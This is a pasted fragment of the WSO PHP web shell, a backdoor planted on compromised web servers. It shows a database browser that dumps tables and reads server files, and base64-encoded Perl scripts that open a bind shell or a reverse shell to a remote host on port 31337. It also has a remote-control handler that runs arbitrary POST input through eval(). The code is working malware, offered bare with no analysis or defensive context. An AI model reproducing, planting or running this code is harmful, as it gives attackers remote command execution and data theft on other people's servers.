  1270. }
  1271. if(!$head)
  1272. if($fp) fwrite($fp, ";\n\n"); else echo(";\n\n");
  1273. break;
  1274. case 'pgsql':
  1275. $this->query('SELECT * FROM '.$table);
  1276. while($item = $this->fetch()) {
  1277. $columns = array();
  1278. foreach($item as $k=>$v) {
  1279. $item[$k] = "'".addslashes($v)."'";
  1280. $columns[] = $k;
  1281. }
  1282. $sql = 'INSERT INTO '.$table.' ('.implode(", ", $columns).') VALUES ('.implode(", ", $item).');'."\n";
  1283. if($fp) fwrite($fp, $sql); else echo($sql);
  1284. }
  1285. break;
  1286. }
  1287. return false;
  1288. }
  1289. };
  1290. $db = new DbClass($_POST['type']);
  1291. if((@$_POST['p2']=='download') && (@$_POST['p1']!='select')) {
  1292. $db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base']);
  1293. $db->selectdb($_POST['sql_base']);
  1294. switch($_POST['charset']) {
  1295. case "Windows-1251": $db->setCharset('cp1251'); break;
  1296. case "UTF-8": $db->setCharset('utf8'); break;
  1297. case "KOI8-R": $db->setCharset('koi8r'); break;
  1298. case "KOI8-U": $db->setCharset('koi8u'); break;
  1299. case "cp866": $db->setCharset('cp866'); break;
  1300. }
  1301. if(empty($_POST['file'])) {
  1302. ob_start("ob_gzhandler", 4096);
  1303. header("Content-Disposition: attachment; filename=dump.sql");
  1304. header("Content-Type: text/plain");
  1305. foreach($_POST['tbl'] as $v)
  1306. $db->dump($v);
  1307. exit;
  1308. } elseif($fp = @fopen($_POST['file'], 'w')) {
  1309. foreach($_POST['tbl'] as $v)
  1310. $db->dump($v, $fp);
  1311. fclose($fp);
  1312. unset($_POST['p2']);
  1313. } else
  1314. die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');
  1315. }
  1316. wsoHeader();
  1317. echo "
  1318. <h1>Sql browser</h1><div class=content>
  1319. <form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
  1320. <td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
  1321. <input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'>
  1322. <td><select name='type'><option value='mysql' ";
  1323. if(@$_POST['type']=='mysql')echo 'selected';
  1324. echo ">MySql</option><option value='pgsql' ";
  1325. if(@$_POST['type']=='pgsql')echo 'selected';
  1326. echo ">PostgreSql</option></select></td>
  1327. <td><input type=text name=sql_host value=\"". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
  1328. <td><input type=text name=sql_login value=\"". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
  1329. <td><input type=text name=sql_pass value=\"". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";
  1330. $tmp = "<input type=text name=sql_base value=''>";
  1331. if(isset($_POST['sql_host'])){
  1332. if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) {
  1333. switch($_POST['charset']) {
  1334. case "Windows-1251": $db->setCharset('cp1251'); break;
  1335. case "UTF-8": $db->setCharset('utf8'); break;
  1336. case "KOI8-R": $db->setCharset('koi8r'); break;
  1337. case "KOI8-U": $db->setCharset('koi8u'); break;
  1338. case "cp866": $db->setCharset('cp866'); break;
  1339. }
  1340. $db->listDbs();
  1341. echo "<select name=sql_base><option value=''></option>";
  1342. while($item = $db->fetch()) {
  1343. list($key, $value) = each($item);
  1344. echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>';
  1345. }
  1346. echo '</select>';
  1347. }
  1348. else echo $tmp;
  1349. }else
  1350. echo $tmp;
  1351. echo "</td>
  1352. <td><input type=submit value='>>' onclick='fs(d.sf);'></td>
  1353. <td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> count the number of rows</td>
  1354. </tr>
  1355. </table>
  1356. <script>
  1357. s_db='".@addslashes($_POST['sql_base'])."';
  1358. function fs(f) {
  1359. if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
  1360. if(f.p1) f.p1.value='';
  1361. if(f.p2) f.p2.value='';
  1362. if(f.p3) f.p3.value='';
  1363. }
  1364. }
  1365. function st(t,l) {
  1366. d.sf.p1.value = 'select';
  1367. d.sf.p2.value = t;
  1368. if(l && d.sf.p3) d.sf.p3.value = l;
  1369. d.sf.submit();
  1370. }
  1371. function is() {
  1372. for(i=0;i<d.sf.elements['tbl[]'].length;++i)
  1373. d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
  1374. }
  1375. </script>";
  1376. if(isset($db) && $db->link){
  1377. echo "<br/><table width=100% cellpadding=2 cellspacing=0>";
  1378. if(!empty($_POST['sql_base'])){
  1379. $db->selectdb($_POST['sql_base']);
  1380. echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";
  1381. $tbls_res = $db->listTables();
  1382. while($item = $db->fetch($tbls_res)) {
  1383. list($key, $value) = each($item);
  1384. if(!empty($_POST['sql_count']))
  1385. $n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.''));
  1386. $value = htmlspecialchars($value);
  1387. echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>";
  1388. }
  1389. echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";
  1390. if(@$_POST['p1'] == 'select') {
  1391. $_POST['p1'] = 'query';
  1392. $_POST['p3'] = $_POST['p3']?$_POST['p3']:1;
  1393. $db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']);
  1394. $num = $db->fetch();
  1395. $pages = ceil($num['n'] / 30);
  1396. echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">";
  1397. echo " of $pages";
  1398. if($_POST['p3'] > 1)
  1399. echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>";
  1400. if($_POST['p3'] < $pages)
  1401. echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>";
  1402. $_POST['p3']--;
  1403. if($_POST['type']=='pgsql')
  1404. $_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30);
  1405. else
  1406. $_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30';
  1407. echo "<br><br>";
  1408. }
  1409. if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) {
  1410. $db->query(@$_POST['p2']);
  1411. if($db->res !== false) {
  1412. $title = false;
  1413. echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';
  1414. $line = 1;
  1415. while($item = $db->fetch()) {
  1416. if(!$title) {
  1417. echo '<tr>';
  1418. foreach($item as $key => $value)
  1419. echo '<th>'.$key.'</th>';
  1420. reset($item);
  1421. $title=true;
  1422. echo '</tr><tr>';
  1423. $line = 2;
  1424. }
  1425. echo '<tr class="l'.$line.'">';
  1426. $line = $line==1?2:1;
  1427. foreach($item as $key => $value) {
  1428. if($value == null)
  1429. echo '<td><i>null</i></td>';
  1430. else
  1431. echo '<td>'.nl2br(htmlspecialchars($value)).'</td>';
  1432. }
  1433. echo '</tr>';
  1434. }
  1435. echo '</table>';
  1436. } else {
  1437. echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>';
  1438. }
  1439. }
  1440. echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";
  1441. if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile'))
  1442. echo htmlspecialchars($_POST['p2']);
  1443. echo "</textarea><br/><input type=submit value='Execute'>";
  1444. echo "</td></tr>";
  1445. }
  1446. echo "</table></form><br/>";
  1447. if($_POST['type']=='mysql') {
  1448. $db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");
  1449. if($db->fetch())
  1450. echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input class='toolsInp' type=text name=f><input type=submit value='>>'></form>";
  1451. }
  1452. if(@$_POST['p1'] == 'loadfile') {
  1453. $file = $db->loadFile($_POST['p2']);
  1454. echo '<br/><pre class=ml1>'.htmlspecialchars($file['file']).'</pre>';
  1455. }
  1456. } else {
  1457. echo htmlspecialchars($db->error());
  1458. }
  1459. echo '</div>';
  1460. wsoFooter();
  1461. }
  1462. function actionNetwork() {
  1463. wsoHeader();
  1464. $back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";
  1465.  
  1466. $bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";
  1467. echo "<h1>Network tools</h1><div class=content>
  1468. <form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
  1469. <span>Bind port to /bin/sh [perl]</span><br/>
  1470. Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1471. </form>
  1472. <form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
  1473. <span>Back-connect [perl]</span><br/>
  1474. Server: <input type='text' name='server' value='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
  1475. </form><br>";
  1476. if(isset($_POST['p1'])) {
  1477. function cf($f,$t) {
  1478. $w = @fopen($f,"w") or @function_exists('file_put_contents');
  1479. if($w){
  1480. @fwrite($w,@base64_decode($t));
  1481. @fclose($w);
  1482. }
  1483. }
  1484. if($_POST['p1'] == 'bpp') {
  1485. cf("/tmp/bp.pl",$bind_port_p);
  1486. $out = wsoEx("perl /tmp/bp.pl ".$_POST['p2']." 1>/dev/null 2>&1 &");
  1487. sleep(1);
  1488. echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bp.pl")."</pre>";
  1489. unlink("/tmp/bp.pl");
  1490. }
  1491. if($_POST['p1'] == 'bcp') {
  1492. cf("/tmp/bc.pl",$back_connect_p);
  1493. $out = wsoEx("perl /tmp/bc.pl ".$_POST['p2']." ".$_POST['p3']." 1>/dev/null 2>&1 &");
  1494. sleep(1);
  1495. echo "<pre class=ml1>$out\n".wsoEx("ps aux | grep bc.pl")."</pre>";
  1496. unlink("/tmp/bc.pl");
  1497. }
  1498. }
  1499. echo '</div>';
  1500. wsoFooter();
  1501. }
  1502. function actionRC() {
  1503. if(!@$_POST['p1']) {
  1504. $a = array(
  1505. "uname" => php_uname(),
  1506. "php_version" => phpversion(),
  1507. "wso_version" => WSO_VERSION,
  1508. "safemode" => @ini_get('safe_mode')
  1509. );
  1510. echo serialize($a);
  1511. } else {
  1512. eval($_POST['p1']);
  1513. }
  1514. }
  1515. if( empty($_POST['a']) )
  1516. if(isset($default_action) && function_exists('action' . $default_action))
  1517. $_POST['a'] = $default_action;
  1518. else
  1519. $_POST['a'] = 'SecInfo';
  1520. if( !empty($_POST['a']) && function_exists('action' . $_POST['a']) )
  1521. call_user_func('action' . $_POST['a']);
  1522. exit;
RAW Paste Data